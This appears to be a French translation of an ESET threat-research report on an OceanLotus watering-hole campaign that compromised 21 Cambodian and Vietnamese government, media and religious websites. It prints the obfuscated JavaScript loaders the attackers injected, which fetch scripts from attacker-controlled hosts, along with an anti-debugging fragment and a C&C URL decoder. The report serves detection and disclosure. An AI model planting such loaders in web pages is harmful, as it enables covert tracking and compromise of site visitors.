Les spécialistes d'ESET ont analysé la nouvelle campagne des points d'eau, qui cible plusieurs sites en Asie du Sud-Est. Il semblerait que les assaillants opèrent depuis début septembre 2018. La campagne est d'une ampleur différente - nous avons réussi à découvrir 21 ressources compromises, dont les sites Web du ministère de la Défense du Cambodge, du ministère des Affaires étrangères et de la Coopération internationale du Cambodge, ainsi que plusieurs journaux et blogs vietnamiens.
Sur la base de l'analyse, nous avons constaté que la campagne est menée par le groupe
OceanLotus , également connu sous le nom
ART32 et ART-S-00. Le groupe opère depuis au moins
2012 et est spécialisé dans le cyberespionnage, avec un intérêt particulier pour les agences gouvernementales et les dissidents.
Il semble que la campagne soit une évolution du schéma des points d'eau OceanLotus, que les chercheurs de Volexity ont
documenté en 2017 sous le nom de Framework B.Depuis l'année dernière, le cybergroupe a appris à rendre difficile l'analyse de ses frameworks malveillants. Entre autres améliorations, nous avons noté l'utilisation du chiffrement à clé publique pour l'échange de la clé de session AES. La méthode est utilisée pour crypter l'échange de données qui ne permet pas aux produits de sécurité d'intercepter la charge utile finale. De plus, les attaquants sont passés de HTTP à WebSocket pour masquer les échanges de données malveillants.
Chacun des sites compromis découvert par les experts ESET a redirigé les visiteurs vers un domaine distinct contrôlé par OceanLotus.
L'image ci-dessous montre les régions cibles de la campagne.
Figure 1. Géographie des sites compromisLes domaines les plus compromis sont les médias d'information ou liés au gouvernement du Cambodge. Voici une liste des victimes. Nous les avons avertis de tout compromis en octobre, mais fin 2018, des scripts malveillants sont restés sur certains sites:
- baotgm [.] Net - Médias vietnamiens (siège à Arlington, Texas)
- cnrp7 [.] Org - Site Internet du Parti du salut national du Cambodge
- conggiaovietnam [.] Net - contenu religieux en vietnamien
- daichungvienvinhthanh [.] Com - contenu religieux en vietnamien
- danchimviet [.] Info - Médias vietnamiens
- danviet [.] Vn - Médias vietnamiens
- danviethouston [.] Com - Médias vietnamiens
- fvpoc [.] Org - Organisation publique vietnamienne
- gardencityclub [.] Com - site du club de golf à Phnom Penh, Cambodge
- lienketqnhn [.] Org - Médias vietnamiens
- mfaic.gov [.] Kh - Ministère des affaires étrangères et de la coopération internationale du Cambodge
- mod.gov [.] Kh - Ministère de la défense du Cambodge
- mtgvinh [.] Net - contenu religieux en vietnamien
- nguoitieudung.com [.] Vn - Médias vietnamiens
- phnompenhpost [.] Com - Médias cambodgiens en anglais
- raovatcalitoday [.] Com - site en vietnamien
- thongtinchongphandong [.] Com - médias d'opposition en vietnamien
- tinkhongle [.] Com - Médias vietnamiens
- toithichdoc.blogspot [.] Com - Blog vietnamien
- trieudaiviet [.] Com - site en vietnamien
- triviet [.] News - Médias vietnamiens
Dans les attaques de points d'eau, les attaquants compromettent généralement les sites qui sont fréquemment visités par les victimes potentielles. Cependant, dans cette campagne, le groupe OceanLotus a compromis plusieurs sites populaires. Vous trouverez ci-dessous une liste des sites compromis et leur
classement Alexa : mondial et dans le pays où le site est le plus populaire. Par exemple, le site Internet du journal Dan Viet (danviet [.] Vn) fin 2018 se situait au 116ème rang en termes de fréquentation au Vietnam.
- danviet [.] Vn - 12 887/116
- phnompenhpost [.] Com - 85 910/18 880
- nguoitieudung.com [.] Vn - 261 801/2 397
- danchimviet [.] Info - 287 852/144 884
- baotgm [.] Net - 675 669/119 737
- toithichdoc.blogspot [.] Com - 700 470/11532
- mfaic.gov [.] Kh - 978 165/2 149
- conggiaovietnam [.] Net - 1 040 548/15 368
- thongtinchongphandong [.] Com - 1 134 691/21 575
- tinkhongle [.] Com - 1 301 722/15 224
- daichungvienvinhthanh [.] Com - 1 778 418/23 428
- mod.gov [.] Kh - 4 247 649/3 719
Analyse
Pour tous les sites compromis, des méthodes similaires ont été utilisées. Les attaquants ont ajouté un petit morceau de code JavaScript à la page principale ou à un fichier JavaScript publié sur le même serveur. Un fragment de code légèrement obscurci (voir ci-dessous) charge un autre script à partir d'un serveur contrôlé par l'attaquant. Ci-dessous, un extrait JavaScript ajouté à
https://www.mfaic.gov[.]kh/wp-content/themes/ministry-of-foreign-affair/slick/slick.min.js
, qui télécharge le fichier à partir de
https://weblink.selfip[.]info/images/cdn.js?from=maxcdn
.
(function() { var pt = "http"; var l = document.createElement('script'); l.src = pt + "s://" + arguments[0] + arguments[2] + arguments[3] + 'ip.' + 'info/images/cdn.js?from=maxcdn'; document.getElementsByTagName('body')[0].appendChild(l) })('web', 'a', 'link', '.self');
Pour éviter d'être détecté, les attaquants ont pris les mesures suivantes:
- Ils masquent les scripts pour empêcher l'allocation d'URL finales statiques
- L'URL ressemble à la vraie bibliothèque JavaScript utilisée par le site
- Pour chaque site compromis, un domaine et un URI distincts sont utilisés.
- Tous les sites compromis ont des scripts différents. Voici un script implémenté dans l'un des sites compromis:
var script = document.createElement("script"); var i = 'crash-course'; var s = "fzgbc knowsztall znfo"; var _ = '/'; var e = "VisitorIdentification.js?sa=" + i; script.async = true; script.src = "htt" + "ps:" + _ + _ + s.split(" ").map(x => x.replace("z", "i")).join(".") + _ + e; var doc = document.getElementsByTagName('script')[0]; doc.parentNode.insertBefore(script, doc);
Première étape
Selon l'emplacement de l'adresse IP du visiteur, le serveur de la première étape (par exemple,
weblink.selfip[.]info
pour
mfaic.gov[.]kh
) transmet un faux script (bibliothèque JavaScript légitime aléatoire), ou un script de la première étape (par exemple, SHA- 1: 2194271C7991D60AE82436129D7F25C0A689050A). Tous les serveurs n'effectuent pas de vérification d'emplacement, mais s'il y en a un, seuls les visiteurs du Vietnam et du Cambodge reçoivent un script malveillant.
Le script de la première étape comporte plusieurs vérifications pour empêcher la détection, comme indiqué ci-dessous.
[…] function t(n) { var r = this; !function (t, n) { if (!(t instanceof n)) throw new TypeError('Cannot call a class as a function'); }(this, t), this.t = { o: null, s: !0 }, this.scr = !0, this.r(), this.i = !0, window.addEventListener('scroll', function () { ri || r.scr && !rts && (r.scr = !1, rc(n)), ri = !1; }); } return t.prototype.r = function () { var t = this; setInterval(function () { var n = window.outerWidth - window.innerWidth > 160, r = window.outerHeight - window.innerHeight > 160, e = n ? 'vertical' : 'horizontal'; r && n || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || n || r) ? (tts = !1, tto = null) : (tts = !0, tto = e); }, 500); } […]
Le script attend que la victime défile jusqu'à la page. Il vérifie également la résolution de la fenêtre et si Firebug, un plug-in basé sur un navigateur pour analyser les pages Web, est activé. Si au moins l'un des contrôles échoue, l'exécution est interrompue.
Il décrypte ensuite le domaine du serveur de commandes C&C à l'aide d'un algorithme personnalisé. Par exemple, 3B37371M1B1B382R332V1A382W36392W2T362T1A322T38 signifie
wss://tcog.thruhere[.]net
. Pour chaque domaine de la première étape, les attaquants ont en outre enregistré un domaine de la deuxième étape, et tous se trouvent sur des serveurs différents. Le code ci-dessous est l'équivalent de la fonction de déchiffrement écrite en Python.
def decrypt(encrypted_url): s = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" return "".join(chr(s.index(encrypted_url[e]) * 36 + s.index(encrypted_url[e+1])) for e in range(0,len(encrypted_url),2))
Après avoir déchiffré l'adresse C&C, le script envoie une chaîne unique de 15 chiffres, puis reçoit et exécute le script de deuxième étape. L'échange de données s'effectue via WebSocket ou SSL. Le protocole fournit une communication bidirectionnelle simultanée entre le client et le serveur. Cela signifie qu'après qu'un client a établi une connexion, le serveur peut envoyer des données au client même sans demande. Cependant, dans un cas particulier, le protocole est utilisé principalement pour éviter la détection.
Deuxième étape
Le script de la deuxième étape est destiné à la reconnaissance. Les développeurs d'OceanLotus ont utilisé la bibliothèque fingerprintjs2 de Valve, disponible sur
GitHub , avec des modifications mineures - ajoutant le partage réseau et créant un rapport spécial.
La figure ci-dessous montre les différentes actions effectuées par le script. La communication se fait via une session WebSocket qui a commencé avec la première étape.
Figure 2. Schéma de la deuxième étape de la charge utileLa communication est cryptée à l'aide de la clé de session AES générée par le serveur. Il est chiffré avec une clé publique RSA 1024 bits et envoyé au client, il n'est donc pas possible de déchiffrer l'échange de données entre le client et le serveur.
Par rapport aux versions précédentes de la structure des points d'eau du groupe OceanLotus, il est plus difficile de vous protéger contre cela car la transmission de données sur le réseau ne peut pas être détectée et décryptée. Cela empêche la découverte de données sur le réseau. La clé publique transmise par le serveur ne change pas et est répertoriée dans la section IoC.
Le script de reconnaissance crée un rapport similaire à celui ci-dessous et l'envoie au serveur C&C de la deuxième étape.
{ "history": { "client_title": "Ministry%20of%20Foreign%20Affairs%20and%20International%20Cooperation%20-", "client_url": "https://www.mfaic.gov.kh/", "client_cookie": "", "client_hash": "", "client_referrer": "https://www.mfaic.gov.kh/foreign-ngos", "client_platform_ua": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36", "client_time": "2018-10-21T12:43:25.254Z", "timezone": "Asia/Bangkok", "client_network_ip_list": [ "192.168.xx", "xxxx" ], "client_api": "wss://tcog.thruhere.net/", "client_zuuid": "defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80dbfb0b276c48a8a6d453444dae086bc77be7", "client_uuid": "a612cdb028e1571dcab18e4aa316da26" }, "navigator": { "plugins": { "activex": false, "cors": true, "flash": false, "java": false, "foxit": true, "phonegap": false, "quicktime": false, "realplayer": false, "silverlight": false, "touch": false, "vbscript": false, "vlc": false, "webrtc": true, "wmp": false }, "_screen": { "width": 1920, "height": 1080, "availWidth": 1920, "availHeight": 1080, "resolution": "1920x1080" }, "_plugins": [ [...]
Ce rapport est presque identique à l'autre généré par le
Framework OceanLotus B , documenté par Volexity en 2017. Leurs sections sont similaires et contiennent des fautes de frappe identiques. En raison de cette similitude et de la localisation des objectifs, nous pouvons dire avec une grande certitude que c'est OceanLotus qui mène la campagne.
Le rapport généré contient des informations détaillées sur le navigateur de la victime et le site visité: agent utilisateur, en-tête de demande HTTP Referer, adresse IP locale et externe, plug-ins et paramètres de langue du navigateur définis.
De plus, chaque machine possède deux identifiants uniques:
client_zuuid et
client_uuid . Ils peuvent être utilisés pour identifier les utilisateurs et suivre leurs visites. Ces identifiants étaient effectivement présents dans la version 2017 du framework, et
client_uuid a été calculé de manière similaire.
La valeur de
client_zuuid est la concaténation des différentes valeurs deviceId contenues dans navigator.mediaDevices.enumerateDevices. Les appareils sont des appareils externes auxquels le navigateur a accès, tels que des caméras et des microphones. Ainsi, la valeur pour un utilisateur doit correspondre lors de différentes visites à partir du même ordinateur.
La valeur
client_uuid est le hachage MD5 des empreintes digitales allouées par fingerprintjs2. Les données collectées incluent l'agent utilisateur du navigateur, la langue, le fuseau horaire, les plug-ins du navigateur et les polices accessibles par le navigateur. Et encore une fois - la valeur doit être identique pour toutes les visites, uniquement si, par exemple, l'utilisateur ne met pas à jour le navigateur ou ne se connecte pas à partir d'un autre appareil.
Enfin, le serveur peut envoyer du code JavaScript supplémentaire à l'ordinateur de la victime, c'est peut-être le composant livré. Malheureusement, en raison de l'utilisation de la clé de session AES pour décrypter l'échange de données, nous n'avons pas pu déterminer quel composant est fourni par les intrus dans des échantillons sauvages. De plus, la charge utile n'est livrée qu'à certaines victimes. Ainsi, en utilisant une machine de test, nous n'avons pas pu les obtenir. Cependant, selon des rapports précédents, les campagnes des points d'eau d'OceanLotus visent le phishing. Par exemple, Volexity dans un rapport a
écrit que les utilisateurs ont vu une fenêtre pop-up leur demandant d'autoriser l'accès via le protocole ouvert OAuth au compte Google de la victime pour l'application Google OceanLotus. Grâce à cette technique, les attaquants peuvent accéder aux contacts et aux e-mails de la victime.
Infrastructure réseau
Pour un travail secret maximum, les opérateurs OceanLotus ont enregistré un domaine pour les première et deuxième étapes pour chacun des sites compromis. Chaque domaine est hébergé sur un serveur distinct avec sa propre adresse IP. Au moins 50 domaines et 50 serveurs sont enregistrés pour cette campagne.
La plupart des domaines de première étape sont enregistrés sur des services avec des noms de domaine gratuits, les domaines de deuxième étape sont principalement payés. Entre autres, leurs noms sont déguisés en légitimes. Voici une liste des services que les attaquants ont tenté de copier - C&C et un domaine légitime, respectivement:
- cdn-ampproject [.] Com / cdn.ampproject.com
- bootstraplink [.] Com / getbootstrap.com
- sskimresources [.] Com / s.skimresources.com
- widgets-wp [.] Com / widgets.wp.com
Le nombre de domaines utilisés et leur similitude avec des sites légitimes peuvent compliquer la détection par une personne qui consulte le trafic réseau.
Conclusion
Malgré l'attention des chercheurs en sécurité, OceanLotus continue d'attaquer avec succès des cibles en Asie du Sud-Est. De plus, le groupe améliore les outils en incluant dans son arsenal un framework pour les attaques de points d'eau, un malware pour Windows et macOS. Les récentes mises à jour du framework discutées dans ce rapport indiquent que les attaquants ont amélioré leurs compétences.
Pour limiter le nombre de victimes possibles, nous avons informé les propriétaires des sites compromis et expliqué comment supprimer le code JavaScript malveillant. Cependant, certains d'entre eux n'ont pas montré de volonté d'accepter des informations et de l'aide.
Les chercheurs d'ESET continueront de surveiller le développement du groupe OceanLotus. Des indicateurs de compromis peuvent être trouvés sur
GitHub .